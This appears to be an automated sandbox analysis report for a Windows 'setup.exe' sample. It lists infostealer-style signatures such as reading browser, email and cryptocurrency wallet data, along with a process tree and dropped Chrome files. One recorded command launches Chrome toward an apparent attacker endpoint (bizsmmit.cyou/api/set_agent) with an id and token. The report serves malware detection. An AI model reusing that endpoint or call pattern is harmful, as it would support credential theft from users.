Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/08/2026, 14:04

General

  • Target
    setup.exe
  • Size 3.4MB
  • Sample260802-rdeslsbn2v
  • SHA256 4b7d75f5c35d8d326af5723fb77c44d769478c90ca2f88e2edfb3e08817fb29c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2928
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" bizsmmit.cyou/api/set_agent?id=9EC7068BBD24956701AEC7B30ADF174C&token=f63c436b52398b25d646c1b190a76c0aba2093&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff58adc728,0x7fff58adc734,0x7fff58adc740
        3⤵
          PID:2020
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1716,i,11097828703430889516,15896627844106881342,262144 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2016 /prefetch:2
          3⤵
            PID:1264
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2268,i,13435072030537562128,11460586304688666135,524288 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1628 /prefetch:3
            3⤵
            • System Time Discovery
            PID:3324
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,15323175465617732729,51389590143762702,524288 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2556 /prefetch:8
            3⤵
              PID:3924
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3160,i,11448301048558739457,6539312738753695045,2097152 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3180 /prefetch:1
              3⤵
                PID:4000
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,8477058549541315170,12879593404025579978,2097152 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:1
                3⤵
                  PID:3696
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4052,i,12183175721870259392,7122185599328791061,2097152 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4076 /prefetch:2
                  3⤵
                    PID:1440
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4696,i,5156108584560447188,5204279012401765632,524288 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4708 /prefetch:8
                    3⤵
                      PID:2516
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5396,i,6272649475132664599,7073206531941631237,524288 --field-trial-handle=2024,i,8973096414914872956,17327189621097056836,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5300 /prefetch:8
                      3⤵
                        PID:1708
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:4944
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:3292

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            BrowsingTopicsState

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                            • Size 414B
                            • SHA256 45531eb0709c7a9e635801166a1601978a7d88fbefcb0081fb1f4b76d08c4cce
                            • MD5 SHA1 SHA512 TLSH

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 d43ed98166bbf13aeab7fb4fb4321882fa1d38d30a46da8eeebe0013904d53db
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 115KB
                            • SHA256 c0faec710c3feafac3a86a52e3cea923f04a8e5dfbbcfaba902495d16c559b9d
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/2928-47-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-43-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-50-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-49-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-48-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-0-0x0000000000400000-0x0000000000461000-memory.dmp

                            memory/2928-46-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-45-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-44-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-51-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-42-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-41-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-40-0x0000000000400000-0x0000000000461000-memory.dmp

                            memory/2928-39-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-37-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-52-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-53-0x0000000024540000-0x0000000024541000-memory.dmp

                            memory/2928-38-0x0000000024540000-0x0000000024541000-memory.dmp